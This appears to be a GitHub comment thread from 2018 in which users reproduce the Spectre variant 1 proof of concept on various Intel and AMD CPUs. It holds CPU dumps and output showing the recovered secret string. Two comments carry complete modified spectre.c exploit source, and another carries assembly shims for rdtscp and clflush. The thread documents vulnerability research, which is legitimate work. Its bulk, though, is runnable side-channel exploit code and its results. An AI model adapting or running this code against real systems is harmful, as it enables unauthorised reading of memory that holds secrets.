cache size	: 6144 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm ida arat pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt
bugs		:
bogomips	: 6400.14
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

Am I missing something?

kuleszdl commented Jan 6, 2018

@ewheelerinc did you compile spectre on the host with march=native? Then this is probably the issue if you use a different arch in KVM.

alexram2 commented Jan 6, 2018

Work fine, then read from own memory, but not from other application.

#./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=21 (second best: 0x00 score=10)
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=7 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2
...
#cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 58
model name      :         Intel(R) Core(TM) i3-3240 CPU @ 3.40GHz
stepping        : 9
microcode       : 0xffffffff
cpu MHz         : 3400.000
cache size      : 256 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 6
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 popcnt tsc_deadline_timer xsave osxsave avx f16c
bogomips        : 6800.00
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

Create simple program

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main(int argc,
  const char * * argv) {

  uint8_t *ptr;

  ptr = (int *)malloc(sizeof(uint8_t)); // allocate memory 
  ptr[0] = 65;  // 'A'
  ptr[1] = 66; // 'B'

  printf("%d %d - %p", ptr[0], ptr[1], ptr); // print bytes and pointer.
  getchar(); // wait console input
  free(ptr);
  return (0);
}

Run test program

./test
65 66 - 0x1a7c010

Run spectre with agrs in other console.

#
./spectre 0x1a7c010 2
Reading 2 bytes:
Reading at malicious_x = 0x1479f90... Success: 0x00=’’ score=3
Reading at malicious_x = 0x1479f91... Success: 0x00=’’ score=3

I have a question for those, who were able to reproduce that on AMD processors: Did you have to enable eBPF JIT for this exploit to work, or it just worked on standard system config?

luisfarzati commented Jan 6, 2018

MacBook Pro (Retina, 13-inch, Early 2015) running macOS High Sierra 10.13.2
Intel(R) Core(TM) i5-5257U CPU @ 2.70GHz

Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=941 (second best: 0x02 score=723)
Reading at malicious_x = 0xfffffffffffffeb7... Unclear: 0x68=’h’ score=994 (second best: 0x02 score=809)
Reading at malicious_x = 0xfffffffffffffeb8... Unclear: 0x65=’e’ score=998 (second best: 0x02 score=908)
Reading at malicious_x = 0xfffffffffffffeb9... Success: 0x20=’ ’ score=225 (second best: 0x02 score=110)
Reading at malicious_x = 0xfffffffffffffeba... Unclear: 0x4D=’M’ score=995 (second best: 0x02 score=922)
Reading at malicious_x = 0xfffffffffffffebb... Unclear: 0x61=’a’ score=996 (second best: 0x02 score=924)
Reading at malicious_x = 0xfffffffffffffebc... Unclear: 0x67=’g’ score=997 (second best: 0x02 score=864)
Reading at malicious_x = 0xfffffffffffffebd... Success: 0x69=’i’ score=267 (second best: 0x02 score=131)
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x63=’c’ score=999 (second best: 0x02 score=929)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x20=’ ’ score=995 (second best: 0x02 score=925)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x57=’W’ score=999 (second best: 0x02 score=920)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x6F=’o’ score=998 (second best: 0x02 score=899)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=999 (second best: 0x02 score=919)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x64=’d’ score=997 (second best: 0x02 score=928)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x73=’s’ score=988 (second best: 0x02 score=921)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=998 (second best: 0x02 score=856)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=985 (second best: 0x02 score=849)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=999 (second best: 0x02 score=907)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x65=’e’ score=982 (second best: 0x02 score=861)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=993 (second best: 0x02 score=915)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x53=’S’ score=999 (second best: 0x02 score=896)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x71=’q’ score=988 (second best: 0x02 score=913)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x75=’u’ score=998 (second best: 0x02 score=924)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x65=’e’ score=990 (second best: 0x02 score=869)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=988 (second best: 0x02 score=804)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x6D=’m’ score=998 (second best: 0x02 score=891)
Reading at malicious_x = 0xfffffffffffffed0... Success: 0x69=’i’ score=59 (second best: 0x02 score=27)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x73=’s’ score=999 (second best: 0x02 score=859)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x68=’h’ score=999 (second best: 0x02 score=883)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x20=’ ’ score=992 (second best: 0x02 score=907)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x4F=’O’ score=994 (second best: 0x02 score=911)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x73=’s’ score=995 (second best: 0x02 score=903)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x73=’s’ score=991 (second best: 0x02 score=700)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x69=’i’ score=990 (second best: 0x02 score=847)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x66=’f’ score=984 (second best: 0x02 score=893)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x72=’r’ score=998 (second best: 0x02 score=895)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x61=’a’ score=985 (second best: 0x02 score=883)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x67=’g’ score=996 (second best: 0x02 score=910)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x65=’e’ score=973 (second best: 0x02 score=858)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x2E=’.’ score=978 (second best: 0x02 score=899)

plukawski commented Jan 6, 2018

From what I see this PoC tries to read the secret from within its own process address space. The virtual address of the other process, even when passed as the first argument would mean nothing for the process executing this exploit.
Does anyone was able to successfully read the memory of the other process using this Exploit? Especially I am curious about that fact on the AMD processors.

jms19 commented Jan 6, 2018

Works fine on an (AMD) X II 250.

rlech commented Jan 6, 2018

Can‘t test it right now but will this also run on latest Intel Coffee Lake ?

eimann commented Jan 6, 2018

SunOS hostname 5.11 joyent_20171109T032417Z i86pc i386 i86pc on ntel(R) Xeon(R) CPU E5620 @ 2.40GHz
Same (or better) results in LX zones running Linux userspace

unmodified:

# ./spectre 
Reading 40 bytes:
Reading at malicious_x = fffffffffffefb88... Success: 0x54=’T’ score=2 
Reading at malicious_x = fffffffffffefb89... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefb8a... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefb8b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb8c... Success: 0x4D=’M’ score=2 
Reading at malicious_x = fffffffffffefb8d... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefb8e... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefb8f... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefb90... Success: 0x63=’c’ score=2 
Reading at malicious_x = fffffffffffefb91... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb92... Success: 0x57=’W’ score=1 
Reading at malicious_x = fffffffffffefb93... Success: 0xFF=’e’ score=0 
Reading at malicious_x = fffffffffffefb94... Success: 0xFF=’e’ score=0 
Reading at malicious_x = fffffffffffefb95... Success: 0xFF=’e’ score=0 
Reading at malicious_x = fffffffffffefb96... Unclear: 0x73=’s’ score=1 (second best: 0x21 score=1)
Reading at malicious_x = fffffffffffefb97... Success: 0xFF=’e’ score=0 
Reading at malicious_x = fffffffffffefb98... Success: 0xFF=’e’ score=0 
Reading at malicious_x = fffffffffffefb99... Success: 0x72=’r’ score=1 
Reading at malicious_x = fffffffffffefb9a... Success: 0x65=’e’ score=1 
Reading at malicious_x = fffffffffffefb9b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb9c... Success: 0x53=’S’ score=1 
Reading at malicious_x = fffffffffffefb9d... Unclear: 0xDE=’e’ score=1 (second best: 0x71 score=1)
Reading at malicious_x = fffffffffffefb9e... Success: 0x75=’u’ score=3 (second best: 0x7C score=1)
Reading at malicious_x = fffffffffffefb9f... Success: 0x65=’e’ score=1 
Reading at malicious_x = fffffffffffefba0... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefba1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = fffffffffffefba2... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefba3... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba4... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefba5... Success: 0x20=’ ’ score=1 
Reading at malicious_x = fffffffffffefba6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = fffffffffffefba7... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba8... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba9... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefbaa... Success: 0x66=’f’ score=1 
Reading at malicious_x = fffffffffffefbab... Success: 0x72=’r’ score=1 
Reading at malicious_x = fffffffffffefbac... Success: 0x61=’a’ score=1 
Reading at malicious_x = fffffffffffefbad... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefbae... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbaf... Success: 0x2E=’.’ score=2 

threshold set to 100

# ./spectre                                                 
Reading 40 bytes:
Reading at malicious_x = fffffffffffefb88... Success: 0x54=’T’ score=2 
Reading at malicious_x = fffffffffffefb89... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefb8a... Unclear: 0xDE=’e’ score=1 (second best: 0x65 score=1)
Reading at malicious_x = fffffffffffefb8b... Success: 0x20=’ ’ score=1 
Reading at malicious_x = fffffffffffefb8c... Success: 0x4D=’M’ score=2 (second best: 0x37 score=1)
Reading at malicious_x = fffffffffffefb8d... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefb8e... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefb8f... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefb90... Success: 0x63=’c’ score=2 
Reading at malicious_x = fffffffffffefb91... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb92... Success: 0x57=’W’ score=2 
Reading at malicious_x = fffffffffffefb93... Success: 0x6F=’o’ score=2 
Reading at malicious_x = fffffffffffefb94... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefb95... Success: 0x64=’d’ score=2 
Reading at malicious_x = fffffffffffefb96... Success: 0x73=’s’ score=5 (second best: 0xDE score=1)
Reading at malicious_x = fffffffffffefb97... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb98... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefb99... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefb9a... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefb9b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefb9c... Success: 0x53=’S’ score=2 
Reading at malicious_x = fffffffffffefb9d... Success: 0x71=’q’ score=2 
Reading at malicious_x = fffffffffffefb9e... Success: 0x75=’u’ score=2 
Reading at malicious_x = fffffffffffefb9f... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefba0... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefba1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = fffffffffffefba2... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefba3... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba4... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefba5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefba6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = fffffffffffefba7... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba8... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefba9... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefbaa... Success: 0x66=’f’ score=2 
Reading at malicious_x = fffffffffffefbab... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefbac... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefbad... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefbae... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbaf... Success: 0x2E=’.’ score=2 

dimhotepus commented Jan 6, 2018

@plukawski, for me (exploited AMD)

$ cat /proc/sys/net/core/bpf_jit_enable
$ 0

Anyway, that's Spectre variant 1 from https://googleprojectzero.blogspot.com.by/2018/01/reading-privileged-memory-with-side.html

A PoC that demonstrates the basic principles behind variant 1 in userspace on the tested Intel Haswell Xeon CPU, the AMD FX CPU, the AMD PRO CPU and an ARM Cortex A57 [2]. This PoC only tests for the ability to read data inside mis-speculated execution within the same process, without crossing any privilege boundaries.

Correct me if i am wrong, but since we read same process address space and do not use eBPF JIT, its state is irrelevant.
eBPF JIT should be enabled in order to attack kernel address space (since eBPF JIT runs inside kernel mode) at least for AMD cpus
(Spectre variant 1.2).

@alexram2 Correct me if i'm wrong, its due to virtual memory.

Address you got in victim process is a virtual address, not a physical one.
So this address in spectre process has no valuable information.
Looks like additional steps needed to read other process address space.

hardhub commented Jan 6, 2018

Threshold 150

AMD Phenom II X4 965
CentOS 7
gcc -std=c99 -O0 spectre.c -o spectre
+

AMD FX-8320
Windows
cl -Od spectre.c
printf("0x%02X=\"%c\" score=%d ", value[0],
+

Intel i7-6700
Windows
cl -Od spectre.c
printf("0x%02X=\"%c\" score=%d ", value[0],
+

Intel Xeon 1230 v2
Windows
cl -Od spectre.c
printf("0x%02X=\"%c\" score=%d ", value[0],
+

  • It works under virtual environment as well.
  • On Windows compiled with Visual Studio C++ compiler.
  • On AMD sometimes first char cannot be recognized (independently on threshold).
  • Tests are stopped after Xeon (no reason to test similar hardware). No possibility to test any ARM device.

@dimhotepus,
thanks for the information.
To be honest in general the information about the Spectre and AMD is a bit chaotic in my opinion. If I understand everything correctly, to fully exploit the Spectre on AMD (by fully, I mean that we can read other process or kernel memory) we must have the eBPF JIT enabled. Without that, the Spectre attack on AMD is limited to a single process address space. Am I correct?

vladsf commented Jan 6, 2018

Fails on Core2 duo, OSX:

$ sysctl -n machdep.cpu.brand_string
Intel(R) Core(TM)2 Duo CPU T9600 @ 2.80GHz

$ ./spectre.out
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 40 bytes:
Illegal instruction: 4

bnraggie commented Jan 6, 2018

@jamver Thanks for your updated source code! I tried it on my 3GHz iMac Intel Core 2 Duo, OSX 10.10.5 but the result I got was Recovered secret: '????????????????????????????????????????' and the scores were all 2501. Do I need to tweak the code to show the leak?

flerovii commented Jan 6, 2018

Worked flawlessly on an Intel i7-3610QM with default threshold (80). Maybe will test on an AMD Phenom II X4 965 BE later.

@vladsf, @bnraggie
running code for ChipZilla's core2 (and older???)
it uses __rdtsc() (counting processor tick) intead of __rdtscp().
__rdtscp() is not yet implemented in this generation.
not optimized, but it works.

`#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush /
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /
for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
*******************************************************************/
#define CACHE_HIT_THRESHOLD (80) /
assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 2500; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
  _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
  _mm_clflush( & array1_size);
  for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

  /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  /* Avoid jumps in case those tip off the branch predictor */
  x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  x = training_x ^ (x & (malicious_x ^ training_x));

  /* Call the victim! */
  victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
  mix_i = ((i * 167) + 13) & 255;
  addr = & array2[mix_i * 512];
  time1 = __rdtsc(); /* READ TIMER */
  junk = * addr; /* MEMORY ACCESS TO TIME */
  time2 =__rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
  if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
  if (j < 0 || results[i] >= results[j]) {
    k = j;
    j = i;
  } else if (k < 0 || results[i] >= results[k]) {
    k = i;
  }
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages /
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /
Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}`

coypoop commented Jan 6, 2018

For reproducing on an AMD Opteron running NetBSD-8.0 I changed 'rdtscp' with 'mfence; rdtsc'.

klm366k commented Jan 6, 2018

To emulate RDTSCP/CLFLUSH wihout MSVC in old C compiler like Borlad C, Borland CBuilder etc.

//**************** rdtscp MSVC emulate ************************

unsigned __int64 rdtscp (unsigned int *Aux)
{
unsigned __int64 result;
unsigned int cycles_low, cycles_high;
asm {
// RDTSCP opcode
db 0FH
db 01
db 0F9h
// end opcode
mov cycles_high, edx
mov cycles_low, eax
mov Aux, ecx

  }

result = (((__int64)cycles_high << 32) | cycles_low );
return result;

}
//**************** clflush MSVC emulate **********************
void mm_clflush(void const*p)
{
asm {
mov eax,p
CLFLUSH byte ptr [eax]
}
}

Windows 10 Pro x86_64, Intel(R) Core(TM) i7-2640M CPU.
specpoc

Bengt commented Jan 6, 2018

I can confirm the modifications of Erik August working on a Phenom II X6 1090t @ 6 x 3.0 GHz under Ubuntu 16.04.3.

FacundoAreo commented Jan 7, 2018

@hey
AMD Sempron(tm) 140 Processor in Linux debian 4.11.0-1-amd64 #1 SMP Debian 4.11.6-1 (2017-06-19) x86_64 GNU/Linux
Change code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush /
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /
for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
*******************************************************************/
#define CACHE_HIT_THRESHOLD (80) /
assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] /
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
/
int tries, i, j, k, mix_i;
unsigned int junk = 0; */
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
  _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
  _mm_clflush( & array1_size);
  for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

  /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  /* Avoid jumps in case those tip off the branch predictor */
  x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  x = training_x ^ (x & (malicious_x ^ training_x));

  /* Call the victim! */
  victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
  mix_i = ((i * 167) + 13) & 255;
  addr = & array2[mix_i * 512];
  time1 = __rdtscp( & junk); /* READ TIMER */
  junk = * addr; /* MEMORY ACCESS TO TIME */
  time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
  if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
  if (j < 0 || results[i] >= results[j]) {
    k = j;
    j = i;
  } else if (k < 0 || results[i] >= results[k]) {
    k = i;
  }
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages /
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /
Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);

}`

#gcc -march=native spectre.c
#./a.out

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed58... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfed59... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfed5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfed5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed5c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfed5d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed5e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfed5f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfed60... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfed61... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed62... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfed63... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfed64... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfed65... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfed66... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfed67... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed68... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed69... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfed6a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfed6b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed6c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfed6d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfed6e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfed6f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfed70... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed71... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfed72... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfed73... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfed74... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfed75... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed76... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfed77... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfed78... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfed79... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfed7a... Success: 0x66=’f’ score=2
